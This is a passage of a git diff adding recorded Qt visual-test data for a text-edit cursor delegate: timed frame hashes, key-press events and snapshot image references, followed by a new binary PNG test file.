+ }
+ Frame {
+ msec: 736
+ hash: "5f5806c2b30465845ed2bc36f1c60e14"
+ }
+ Frame {
+ msec: 752
+ hash: "10125c338dffa13dfd0bbff5fc33d757"
+ }
+ Frame {
+ msec: 768
+ hash: "b6c83fdee9081a1773a441cffb843c11"
+ }
+ Frame {
+ msec: 784
+ hash: "c26f3ac7cd2065b98434e3fb4bc7c4a7"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 800
+ hash: "6cb47a37677280ef63b060767c669878"
+ }
+ Frame {
+ msec: 816
+ hash: "7f27c84cd7ae3f255b0df6029e13c48d"
+ }
+ Frame {
+ msec: 832
+ hash: "fec675b07b3f569014e9f35563761d49"
+ }
+ Frame {
+ msec: 848
+ hash: "cfd2439d79ad66232107022317fd5a4c"
+ }
+ Frame {
+ msec: 864
+ hash: "cec5331c1f6023335942e572992aa172"
+ }
+ Frame {
+ msec: 880
+ hash: "549d4736558332a64c5fc3462be71500"
+ }
+ Frame {
+ msec: 896
+ hash: "1d01fe566f850fe2297fd8ed6b1efa8d"
+ }
+ Frame {
+ msec: 912
+ hash: "cd1b61c7acd7067f9722c1a673b9a3ea"
+ }
+ Frame {
+ msec: 928
+ hash: "cb4fed177ff3df7212413450d4b73549"
+ }
+ Frame {
+ msec: 944
+ hash: "720d0e5c3e377e2c53d251e02577d6f6"
+ }
+ Frame {
+ msec: 960
+ hash: "1ab118400896a46a8d179b762343522f"
+ }
+ Frame {
+ msec: 976
+ image: "cursorDelegate.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "6cf8502f84b57001bf14fc4bab24911b"
+ }
+ Frame {
+ msec: 1008
+ hash: "5aa693852436f664da87d4360da0f477"
+ }
+ Frame {
+ msec: 1024
+ hash: "5aa693852436f664da87d4360da0f477"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1040
+ hash: "6cf8502f84b57001bf14fc4bab24911b"
+ }
+ Frame {
+ msec: 1056
+ hash: "17499b49e462181383fde57dce81aef9"
+ }
+ Frame {
+ msec: 1072
+ hash: "1ab118400896a46a8d179b762343522f"
+ }
+ Frame {
+ msec: 1088
+ hash: "720d0e5c3e377e2c53d251e02577d6f6"
+ }
+ Frame {
+ msec: 1104
+ hash: "cb4fed177ff3df7212413450d4b73549"
+ }
+ Frame {
+ msec: 1120
+ hash: "cd1b61c7acd7067f9722c1a673b9a3ea"
+ }
+ Frame {
+ msec: 1136
+ hash: "1d01fe566f850fe2297fd8ed6b1efa8d"
+ }
+ Frame {
+ msec: 1152
+ hash: "549d4736558332a64c5fc3462be71500"
+ }
+ Frame {
+ msec: 1168
+ hash: "cec5331c1f6023335942e572992aa172"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1184
+ hash: "a8af14ffccbd892f17c0235d62d10cd8"
+ }
+ Frame {
+ msec: 1200
+ hash: "81fbaaf1af513b2dc978ef0e358bbc6f"
+ }
+ Frame {
+ msec: 1216
+ hash: "204cfba6a668ba25ed37f12bfcdd97eb"
+ }
+ Frame {
+ msec: 1232
+ hash: "fa6c8f7f8a8730d412168002511b82e6"
+ }
+ Frame {
+ msec: 1248
+ hash: "0d491b55d03f5d5bb6cfce63bc98deae"
+ }
+ Frame {
+ msec: 1264
+ hash: "0e4d3edabdf6e0faa366abcc3b0ef521"
+ }
+ Frame {
+ msec: 1280
+ hash: "13f397452e74ef834662363b09b000b9"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1296
+ hash: "bb064cac4cb117b4d28e26d04dd59d7c"
+ }
+ Frame {
+ msec: 1312
+ hash: "dfab74915a3f1e82c558ba8fb26d81fc"
+ }
+ Frame {
+ msec: 1328
+ hash: "7593cfb3073aa9d638c093e0f4c9857d"
+ }
+ Frame {
+ msec: 1344
+ hash: "fe4a725dcc97b7f320225e02dc88d34a"
+ }
+ Frame {
+ msec: 1360
+ hash: "67794fa0162684b2097164d6cd666f16"
+ }
+ Frame {
+ msec: 1376
+ hash: "747cfcd428eb59ca99749de261e561d4"
+ }
+ Frame {
+ msec: 1392
+ hash: "293fd7523f25e42d2acab401482a9af9"
+ }
+ Frame {
+ msec: 1408
+ hash: "2644c937db0488c14f833a9e9f7d9cf6"
+ }
+ Frame {
+ msec: 1424
+ hash: "d80500f7cce8d887d0c523060e4217af"
+ }
+ Frame {
+ msec: 1440
+ hash: "96265a45f0f25d9c0cd1168789b50952"
+ }
+ Frame {
+ msec: 1456
+ hash: "e862d11944ea38939faa5b24fa9183bf"
+ }
+ Frame {
+ msec: 1472
+ hash: "946c778fcc8ee4942a30d4654e103fec"
+ }
+ Frame {
+ msec: 1488
+ hash: "946c778fcc8ee4942a30d4654e103fec"
+ }
+ Frame {
+ msec: 1504
+ hash: "946c778fcc8ee4942a30d4654e103fec"
+ }
+ Frame {
+ msec: 1520
+ hash: "946c778fcc8ee4942a30d4654e103fec"
+ }
+ Frame {
+ msec: 1536
+ hash: "946c778fcc8ee4942a30d4654e103fec"
+ }
+ Frame {
+ msec: 1552
+ hash: "946c778fcc8ee4942a30d4654e103fec"
+ }
+ Frame {
+ msec: 1568
+ hash: "99e0e3d965bea36001298815d12b4d4c"
+ }
+ Frame {
+ msec: 1584
+ hash: "c552ace3096eca31d0fc256d2bd153e0"
+ }
+ Frame {
+ msec: 1600
+ hash: "203858ff0fc145ac60942c2b8e67ca20"
+ }
+ Frame {
+ msec: 1616
+ hash: "11ea7696ec3aa9a394cabd723bcada9e"
+ }
+ Frame {
+ msec: 1632
+ hash: "e0e24c0527e015d0bb05206771024d04"
+ }
+ Frame {
+ msec: 1648
+ hash: "995ccae48c4f0fc2ab40e793d074e78b"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1664
+ hash: "cff7bee4ba1e8eb4c46e13f12f6059e1"
+ }
+ Frame {
+ msec: 1680
+ hash: "e43bd84ba7bdc4ea0370c79bfa7667bd"
+ }
+ Frame {
+ msec: 1696
+ hash: "b7dd97abf895eaea20836833f959f0c6"
+ }
+ Frame {
+ msec: 1712
+ hash: "b724e9874f0df5ed4ad9bdedbc4c45c9"
+ }
+ Frame {
+ msec: 1728
+ hash: "69d9d28793e65aa9a1829d07cc035e4d"
+ }
+ Frame {
+ msec: 1744
+ hash: "689fc2cf5feb1084fceda93eab9b7aac"
+ }
+ Frame {
+ msec: 1760
+ hash: "2bcc0f2fb8cccf7904c982cd60d3fefb"
+ }
+ Frame {
+ msec: 1776
+ hash: "d55a868304da7e9af57cd775f2c283c1"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1792
+ hash: "b2591af5120258c99e84f31311396675"
+ }
+ Frame {
+ msec: 1808
+ hash: "4f9908bdbad583a6a956a21d6ab05505"
+ }
+ Frame {
+ msec: 1824
+ hash: "dd1c43a94dcabae975f0dba67c2742da"
+ }
+ Frame {
+ msec: 1840
+ hash: "f9b8c8987bad613fe23fcf9d5fe995b8"
+ }
+ Frame {
+ msec: 1856
+ hash: "9bd4431207a85e0effefb9cf36a2651b"
+ }
+ Frame {
+ msec: 1872
+ hash: "cd7c4c097231797649f2d24a729e3587"
+ }
+ Frame {
+ msec: 1888
+ hash: "f2ac503f2aab55df922f90a6b9baeb0f"
+ }
+ Frame {
+ msec: 1904
+ hash: "f356c05f9445c2fb260a29a58431269c"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1920
+ hash: "5580f8c543d67378b0f54117070f69bd"
+ }
+ Frame {
+ msec: 1936
+ image: "cursorDelegate.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "634c5597e64c34b039c70f614f0100e1"
+ }
+ Frame {
+ msec: 1968
+ hash: "7f0bde32846ae8172cfd02f38d34dc48"
+ }
+ Frame {
+ msec: 1984
+ hash: "bc9092f889ffd6a6682ed9754c6697a2"
+ }
+ Frame {
+ msec: 2000
+ hash: "3ef935e3a4a0d409af7dd38f2433cdfe"
+ }
+ Frame {
+ msec: 2016
+ hash: "2a044024b38499e801810a19d313e01f"
+ }
+ Frame {
+ msec: 2032
+ hash: "3ef935e3a4a0d409af7dd38f2433cdfe"
+ }
+ Frame {
+ msec: 2048
+ hash: "bc9092f889ffd6a6682ed9754c6697a2"
+ }
+ Frame {
+ msec: 2064
+ hash: "7f0bde32846ae8172cfd02f38d34dc48"
+ }
+ Frame {
+ msec: 2080
+ hash: "634c5597e64c34b039c70f614f0100e1"
+ }
+ Frame {
+ msec: 2096
+ hash: "80f3bf6ea745da047da936578b87ee00"
+ }
+ Frame {
+ msec: 2112
+ hash: "5580f8c543d67378b0f54117070f69bd"
+ }
+ Frame {
+ msec: 2128
+ hash: "f356c05f9445c2fb260a29a58431269c"
+ }
+ Frame {
+ msec: 2144
+ hash: "f2ac503f2aab55df922f90a6b9baeb0f"
+ }
+ Frame {
+ msec: 2160
+ hash: "cd7c4c097231797649f2d24a729e3587"
+ }
+ Frame {
+ msec: 2176
+ hash: "9bd4431207a85e0effefb9cf36a2651b"
+ }
+ Frame {
+ msec: 2192
+ hash: "f9b8c8987bad613fe23fcf9d5fe995b8"
+ }
+ Frame {
+ msec: 2208
+ hash: "dd1c43a94dcabae975f0dba67c2742da"
+ }
+ Frame {
+ msec: 2224
+ hash: "4f9908bdbad583a6a956a21d6ab05505"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2240
+ hash: "b2591af5120258c99e84f31311396675"
+ }
+ Frame {
+ msec: 2256
+ hash: "5c40e466b5af2e4b67dbb4ea96b24146"
+ }
+ Frame {
+ msec: 2272
+ hash: "899a30ca4014231c8e9f15be4e0c3ee6"
+ }
+ Frame {
+ msec: 2288
+ hash: "a44bbb13a336fdd4aedaf4c5c6ee399a"
+ }
+ Frame {
+ msec: 2304
+ hash: "3b1b3e228ccbd61f9dfb896391da0b5b"
+ }
+ Frame {
+ msec: 2320
+ hash: "22f5ec3d2eda574d1976604b82307924"
+ }
+ Frame {
+ msec: 2336
+ hash: "9e63d1a15c954d2960eecf54e5eeb172"
+ }
+ Frame {
+ msec: 2352
+ hash: "64ce03b10500b5a98b5c826362d8140e"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2368
+ hash: "c96896be1a311c0cedc1c7ec1bd9e13e"
+ }
+ Frame {
+ msec: 2384
+ hash: "d3d6dc1d8ff93e373583e3cbdca88b81"
+ }
+ Frame {
+ msec: 2400
+ hash: "2a456146359c54c52f9e7a6cebcfa454"
+ }
+ Frame {
+ msec: 2416
+ hash: "d127788c702c2ed037c709ffc331840e"
+ }
+ Frame {
+ msec: 2432
+ hash: "8a5987a736b092e12198d969544d632c"
+ }
+ Frame {
+ msec: 2448
+ hash: "e8471c605f6a8cc187d879510ed7ebe7"
+ }
+ Frame {
+ msec: 2464
+ hash: "6959b4f72422636ae59989c9def06d03"
+ }
+ Frame {
+ msec: 2480
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2496
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 2512
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 2528
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 2544
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 2560
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 2576
+ hash: "aa52467f87fbd766baa5137ddf18e0f6"
+ }
+ Frame {
+ msec: 2592
+ hash: "bc9549a04b9bc898feda61b7fce45b3f"
+ }
+ Frame {
+ msec: 2608
+ hash: "606e69ad9b6e3a82e08ae4bbabb34680"
+ }
+ Frame {
+ msec: 2624
+ hash: "257ed9eae13221c5d47103043ef4ad5c"
+ }
+ Frame {
+ msec: 2640
+ hash: "f5b44d257447499e0268e9a8730d88e7"
+ }
+ Frame {
+ msec: 2656
+ hash: "8f03a92b2b0b04ee0ac45e7631df78ce"
+ }
+ Frame {
+ msec: 2672
+ hash: "054e88b3d80940006b24fdf233a70682"
+ }
+ Frame {
+ msec: 2688
+ hash: "20896fbba7e1970957ff20d33541730c"
+ }
+ Frame {
+ msec: 2704
+ hash: "238fca62069b7c6e1b6919afca518dbe"
+ }
+ Frame {
+ msec: 2720
+ hash: "764e14ba052d8340d6d674d6f417643d"
+ }
+ Frame {
+ msec: 2736
+ hash: "278fb36637ff60d1949da9e9b887726f"
+ }
+ Frame {
+ msec: 2752
+ hash: "f51251c5ec7b0071248d3fa5db1c12fd"
+ }
+ Frame {
+ msec: 2768
+ hash: "785d38e036e7dd809037de3885067455"
+ }
+ Frame {
+ msec: 2784
+ hash: "4291bb6217f363aab48812359626de36"
+ }
+ Frame {
+ msec: 2800
+ hash: "e139ad6787f1c4a1b89d4030703076e5"
+ }
+ Frame {
+ msec: 2816
+ hash: "4c23976fb1b3b583153cbd72f2db10f4"
+ }
+ Frame {
+ msec: 2832
+ hash: "5e0a3d848a749ecd4f9a572f10664f4b"
+ }
+ Frame {
+ msec: 2848
+ hash: "1acc382cfe2f5872982440e8a85eb57b"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2864
+ hash: "eba94c6ae3dc4eb26c8d074137c7aa0f"
+ }
+ Frame {
+ msec: 2880
+ hash: "7c75307fbb765bd69b888d500247b595"
+ }
+ Frame {
+ msec: 2896
+ image: "cursorDelegate.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "da73d23a925d93194aeb64d1522adc02"
+ }
+ Frame {
+ msec: 2928
+ hash: "d661872854338121d867b35d9e44ae6d"
+ }
+ Frame {
+ msec: 2944
+ hash: "969b5cf20c7c4e18723a8b8a70ea68ec"
+ }
+ Frame {
+ msec: 2960
+ hash: "c7318ea4b4a4ac49308bef41d3bc264d"
+ }
+ Frame {
+ msec: 2976
+ hash: "dd6bd11cc0bc877dbd70c55d4f5bab29"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2992
+ hash: "21905ed4264a52c9b404149abedabe33"
+ }
+ Frame {
+ msec: 3008
+ hash: "e952374e5967619679af711157b561cd"
+ }
+ Frame {
+ msec: 3024
+ hash: "e952374e5967619679af711157b561cd"
+ }
+ Frame {
+ msec: 3040
+ hash: "21905ed4264a52c9b404149abedabe33"
+ }
+ Frame {
+ msec: 3056
+ hash: "dd6bd11cc0bc877dbd70c55d4f5bab29"
+ }
+ Frame {
+ msec: 3072
+ hash: "c7318ea4b4a4ac49308bef41d3bc264d"
+ }
+ Frame {
+ msec: 3088
+ hash: "969b5cf20c7c4e18723a8b8a70ea68ec"
+ }
+ Frame {
+ msec: 3104
+ hash: "d661872854338121d867b35d9e44ae6d"
+ }
+ Frame {
+ msec: 3120
+ hash: "da73d23a925d93194aeb64d1522adc02"
+ }
+ Frame {
+ msec: 3136
+ hash: "2c0261e2223d7212e047dd4af6246a8f"
+ }
+ Frame {
+ msec: 3152
+ hash: "7c75307fbb765bd69b888d500247b595"
+ }
+ Frame {
+ msec: 3168
+ hash: "eba94c6ae3dc4eb26c8d074137c7aa0f"
+ }
+ Frame {
+ msec: 3184
+ hash: "e6eaa9959334f24ef3cf68d44d7340f1"
+ }
+ Frame {
+ msec: 3200
+ hash: "3adb8604d872bc8ff5498841c6da71b5"
+ }
+ Frame {
+ msec: 3216
+ hash: "e602eeaac3ce53033154297e73802c02"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3232
+ hash: "85afa80a1c333674cfbfcc38cedc798d"
+ }
+ Frame {
+ msec: 3248
+ hash: "72679887fb26b7eb2553d6e554e26679"
+ }
+ Frame {
+ msec: 3264
+ hash: "d25f21361d9cea41b17277f1ffecac62"
+ }
+ Frame {
+ msec: 3280
+ hash: "24db38727e1a58d515119181ea41e209"
+ }
+ Frame {
+ msec: 3296
+ hash: "e7ddd84f438fd2d463a3b9552dad345a"
+ }
+ Frame {
+ msec: 3312
+ hash: "621e406f5b9204eb5d82c4f66fdf6a61"
+ }
+ Frame {
+ msec: 3328
+ hash: "2a8befe073dda8589197cf05eeeaaf59"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3344
+ hash: "104f0e21a041236f48dab6fe2c1c5aa1"
+ }
+ Frame {
+ msec: 3360
+ hash: "0f8f74614b0b7295bb9df8fa0b1f6877"
+ }
+ Frame {
+ msec: 3376
+ hash: "3a3cc6cfd3200e06a2816f2746edf699"
+ }
+ Frame {
+ msec: 3392
+ hash: "83032d1da6907ebe1ab9fddf314d0bc1"
+ }
+ Frame {
+ msec: 3408
+ hash: "b93878281f21c85c211908086f2899e7"
+ }
+ Frame {
+ msec: 3424
+ hash: "a554a6ecd96f37f114f1fd616e0aeab2"
+ }
+ Frame {
+ msec: 3440
+ hash: "8943d47912a4206e61836d99cca835da"
+ }
+ Frame {
+ msec: 3456
+ hash: "4d06d264f71d75421c9a6d5a87d6a9ba"
+ }
+ Frame {
+ msec: 3472
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 3488
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 3504
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 3520
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 3536
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 3552
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 3568
+ hash: "ca17401d638025fde8aad18b9a358029"
+ }
+ Frame {
+ msec: 3584
+ hash: "3542537f0b0e1375d81c7f0365bbdf1d"
+ }
+ Frame {
+ msec: 3600
+ hash: "235b68812a3cb48fc09bd8319aef40f1"
+ }
+ Frame {
+ msec: 3616
+ hash: "3aa88f646534068d13e9c4f23af52019"
+ }
+ Frame {
+ msec: 3632
+ hash: "8f037bdef4940fdb1936900ad5aee36e"
+ }
+ Frame {
+ msec: 3648
+ hash: "18e8239c50ca62a5bd96d983ab5ff46d"
+ }
+ Frame {
+ msec: 3664
+ hash: "d62f6887bdad9decb48ebaf63a6330a3"
+ }
+ Frame {
+ msec: 3680
+ hash: "0af7997ec1a755a761fc1ab47ef30137"
+ }
+ Frame {
+ msec: 3696
+ hash: "b3a384f93ef5f36466f0a638182b66cb"
+ }
+ Frame {
+ msec: 3712
+ hash: "fceb3ee105028e29dca001197c63e524"
+ }
+ Frame {
+ msec: 3728
+ hash: "5c16dc7aee02eefa95d0c6211f81ba48"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3744
+ hash: "e4c3193ad0885084becbeaaaa899fff4"
+ }
+ Frame {
+ msec: 3760
+ hash: "84afa9118845126960309537e529ea74"
+ }
+ Frame {
+ msec: 3776
+ hash: "6e18f95c4252aff3ee5447a08153ee53"
+ }
+ Frame {
+ msec: 3792
+ hash: "59facabe2430703113665d0153402472"
+ }
+ Frame {
+ msec: 3808
+ hash: "316bce2e605a4df04d41a4f7620086bd"
+ }
+ Frame {
+ msec: 3824
+ hash: "7dcba8f0dd9fd67518f0502d904624fd"
+ }
+ Frame {
+ msec: 3840
+ hash: "cb9166d113c5c7495916f6b7f850407c"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3856
+ image: "cursorDelegate.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "7cc78c7ab5820a698b62c452dfc0d1db"
+ }
+ Frame {
+ msec: 3888
+ hash: "5f068715dc1244895e6e09afd6e846a9"
+ }
+ Frame {
+ msec: 3904
+ hash: "c279e7293539593bfc8250d37f78791c"
+ }
+ Frame {
+ msec: 3920
+ hash: "d01ff855befa456a213d4f78f22fe46c"
+ }
+ Frame {
+ msec: 3936
+ hash: "16e20d2e663e64daa1920b165604f342"
+ }
+ Frame {
+ msec: 3952
+ hash: "2feebd6865e71afd30c73e342fb2cab1"
+ }
+ Frame {
+ msec: 3968
+ hash: "8c417cb9ef300c895323060ceb860bd9"
+ }
+ Frame {
+ msec: 3984
+ hash: "05903a78cad8d331349f93a1cea75d7d"
+ }
+ Frame {
+ msec: 4000
+ hash: "e142bb264ab7877a9b40596d497ea2c1"
+ }
+ Frame {
+ msec: 4016
+ hash: "717e5e965b9ff188fd9200927968d359"
+ }
+ Frame {
+ msec: 4032
+ hash: "e142bb264ab7877a9b40596d497ea2c1"
+ }
+ Frame {
+ msec: 4048
+ hash: "05903a78cad8d331349f93a1cea75d7d"
+ }
+ Frame {
+ msec: 4064
+ hash: "8c417cb9ef300c895323060ceb860bd9"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4080
+ hash: "2feebd6865e71afd30c73e342fb2cab1"
+ }
+ Frame {
+ msec: 4096
+ hash: "16e20d2e663e64daa1920b165604f342"
+ }
+ Frame {
+ msec: 4112
+ hash: "d01ff855befa456a213d4f78f22fe46c"
+ }
+ Frame {
+ msec: 4128
+ hash: "c279e7293539593bfc8250d37f78791c"
+ }
+ Frame {
+ msec: 4144
+ hash: "5f068715dc1244895e6e09afd6e846a9"
+ }
+ Frame {
+ msec: 4160
+ hash: "7cc78c7ab5820a698b62c452dfc0d1db"
+ }
+ Frame {
+ msec: 4176
+ hash: "194b8b8843cf8a7d90ec910ee4021d9c"
+ }
+ Frame {
+ msec: 4192
+ hash: "cb9166d113c5c7495916f6b7f850407c"
+ }
+ Frame {
+ msec: 4208
+ hash: "7dcba8f0dd9fd67518f0502d904624fd"
+ }
+ Frame {
+ msec: 4224
+ hash: "316bce2e605a4df04d41a4f7620086bd"
+ }
+ Frame {
+ msec: 4240
+ hash: "59facabe2430703113665d0153402472"
+ }
+ Frame {
+ msec: 4256
+ hash: "6e18f95c4252aff3ee5447a08153ee53"
+ }
+ Frame {
+ msec: 4272
+ hash: "84afa9118845126960309537e529ea74"
+ }
+ Frame {
+ msec: 4288
+ hash: "e4c3193ad0885084becbeaaaa899fff4"
+ }
+ Frame {
+ msec: 4304
+ hash: "6a7b8f8ae1959681afc7e76c242ddf63"
+ }
+ Frame {
+ msec: 4320
+ hash: "94457c4fd09b63fe9df738af422a3716"
+ }
+ Frame {
+ msec: 4336
+ hash: "29189dea05961b2ed7d525b17bc99513"
+ }
+ Frame {
+ msec: 4352
+ hash: "11fc3e52587bbedf0016c829d2d849d1"
+ }
+ Frame {
+ msec: 4368
+ hash: "57178e2a3d404d4301ee89a6202ad7cc"
+ }
+ Frame {
+ msec: 4384
+ hash: "151778e9dd76fbf6d9e98b86469ec01e"
+ }
+ Frame {
+ msec: 4400
+ hash: "bfab5d3f368c06f2ef5e22b7e16090ad"
+ }
+ Frame {
+ msec: 4416
+ hash: "ef29b8ff8fcf221368056aa249f706a1"
+ }
+ Frame {
+ msec: 4432
+ hash: "cd14458426f94efbbc729112e6a481c5"
+ }
+ Frame {
+ msec: 4448
+ hash: "cbafbb1c359a0c0e7182c4449d04b052"
+ }
+ Frame {
+ msec: 4464
+ hash: "b56e3f531bb6b3f2c62a6972910038b3"
+ }
+ Frame {
+ msec: 4480
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 4496
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 4512
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 4528
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 4544
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 4560
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 4576
+ hash: "3d6db6e3ee77ee75341ce16dc4a56c59"
+ }
+ Frame {
+ msec: 4592
+ hash: "ff43ccdb14ae4d12ffead2eb261a5056"
+ }
+ Frame {
+ msec: 4608
+ hash: "fb73ac1e61834f2f0263e53a3c00a857"
+ }
+ Frame {
+ msec: 4624
+ hash: "6bd66d118ff27b0cea7944ea22c727c9"
+ }
+ Frame {
+ msec: 4640
+ hash: "0b474aa5492386c319bf72280dae7896"
+ }
+ Frame {
+ msec: 4656
+ hash: "81952cf37f0965a603bf06a05ef610fa"
+ }
+ Frame {
+ msec: 4672
+ hash: "ad7606f147498c755284d111a1af7710"
+ }
+ Frame {
+ msec: 4688
+ hash: "144abb4208f9cc4f823e0d4abb3207d8"
+ }
+ Frame {
+ msec: 4704
+ hash: "0b4f3fafaf262f16e887938eda9624a3"
+ }
+ Frame {
+ msec: 4720
+ hash: "e729d3fde3db0f72b1080c7dc2eded1a"
+ }
+ Frame {
+ msec: 4736
+ hash: "36ffc8e16ebcb9c4499c4ff037b8b293"
+ }
+ Frame {
+ msec: 4752
+ hash: "c49853a23d2e8b966836888acce19ecc"
+ }
+ Frame {
+ msec: 4768
+ hash: "3873af5aa871bdb1d4f538333b11cf33"
+ }
+ Frame {
+ msec: 4784
+ hash: "6d02efe848b27b3e221a8332099fb83f"
+ }
+ Frame {
+ msec: 4800
+ hash: "2f08f365916d892f0789e93b674cb41b"
+ }
+ Frame {
+ msec: 4816
+ image: "cursorDelegate.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "3adb8604d872bc8ff5498841c6da71b5"
+ }
+ Frame {
+ msec: 4848
+ hash: "e6eaa9959334f24ef3cf68d44d7340f1"
+ }
+ Frame {
+ msec: 4864
+ hash: "eba94c6ae3dc4eb26c8d074137c7aa0f"
+ }
+ Frame {
+ msec: 4880
+ hash: "7c75307fbb765bd69b888d500247b595"
+ }
+ Frame {
+ msec: 4896
+ hash: "2c0261e2223d7212e047dd4af6246a8f"
+ }
+ Frame {
+ msec: 4912
+ hash: "da73d23a925d93194aeb64d1522adc02"
+ }
+ Frame {
+ msec: 4928
+ hash: "d661872854338121d867b35d9e44ae6d"
+ }
+ Frame {
+ msec: 4944
+ hash: "969b5cf20c7c4e18723a8b8a70ea68ec"
+ }
+ Frame {
+ msec: 4960
+ hash: "c7318ea4b4a4ac49308bef41d3bc264d"
+ }
+ Frame {
+ msec: 4976
+ hash: "dd6bd11cc0bc877dbd70c55d4f5bab29"
+ }
+ Frame {
+ msec: 4992
+ hash: "21905ed4264a52c9b404149abedabe33"
+ }
+ Frame {
+ msec: 5008
+ hash: "e952374e5967619679af711157b561cd"
+ }
+ Frame {
+ msec: 5024
+ hash: "e952374e5967619679af711157b561cd"
+ }
+ Frame {
+ msec: 5040
+ hash: "21905ed4264a52c9b404149abedabe33"
+ }
+ Frame {
+ msec: 5056
+ hash: "dd6bd11cc0bc877dbd70c55d4f5bab29"
+ }
+ Frame {
+ msec: 5072
+ hash: "c7318ea4b4a4ac49308bef41d3bc264d"
+ }
+ Frame {
+ msec: 5088
+ hash: "969b5cf20c7c4e18723a8b8a70ea68ec"
+ }
+ Frame {
+ msec: 5104
+ hash: "d661872854338121d867b35d9e44ae6d"
+ }
+ Frame {
+ msec: 5120
+ hash: "da73d23a925d93194aeb64d1522adc02"
+ }
+ Frame {
+ msec: 5136
+ hash: "2c0261e2223d7212e047dd4af6246a8f"
+ }
+ Frame {
+ msec: 5152
+ hash: "7c75307fbb765bd69b888d500247b595"
+ }
+ Frame {
+ msec: 5168
+ hash: "eba94c6ae3dc4eb26c8d074137c7aa0f"
+ }
+ Frame {
+ msec: 5184
+ hash: "e6eaa9959334f24ef3cf68d44d7340f1"
+ }
+ Frame {
+ msec: 5200
+ hash: "3adb8604d872bc8ff5498841c6da71b5"
+ }
+ Frame {
+ msec: 5216
+ hash: "e602eeaac3ce53033154297e73802c02"
+ }
+ Frame {
+ msec: 5232
+ hash: "2f08f365916d892f0789e93b674cb41b"
+ }
+ Frame {
+ msec: 5248
+ hash: "6d02efe848b27b3e221a8332099fb83f"
+ }
+ Frame {
+ msec: 5264
+ hash: "3873af5aa871bdb1d4f538333b11cf33"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.png
new file mode 100644
index 00000000..7d0d0aee
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.0.png
Binary files differ
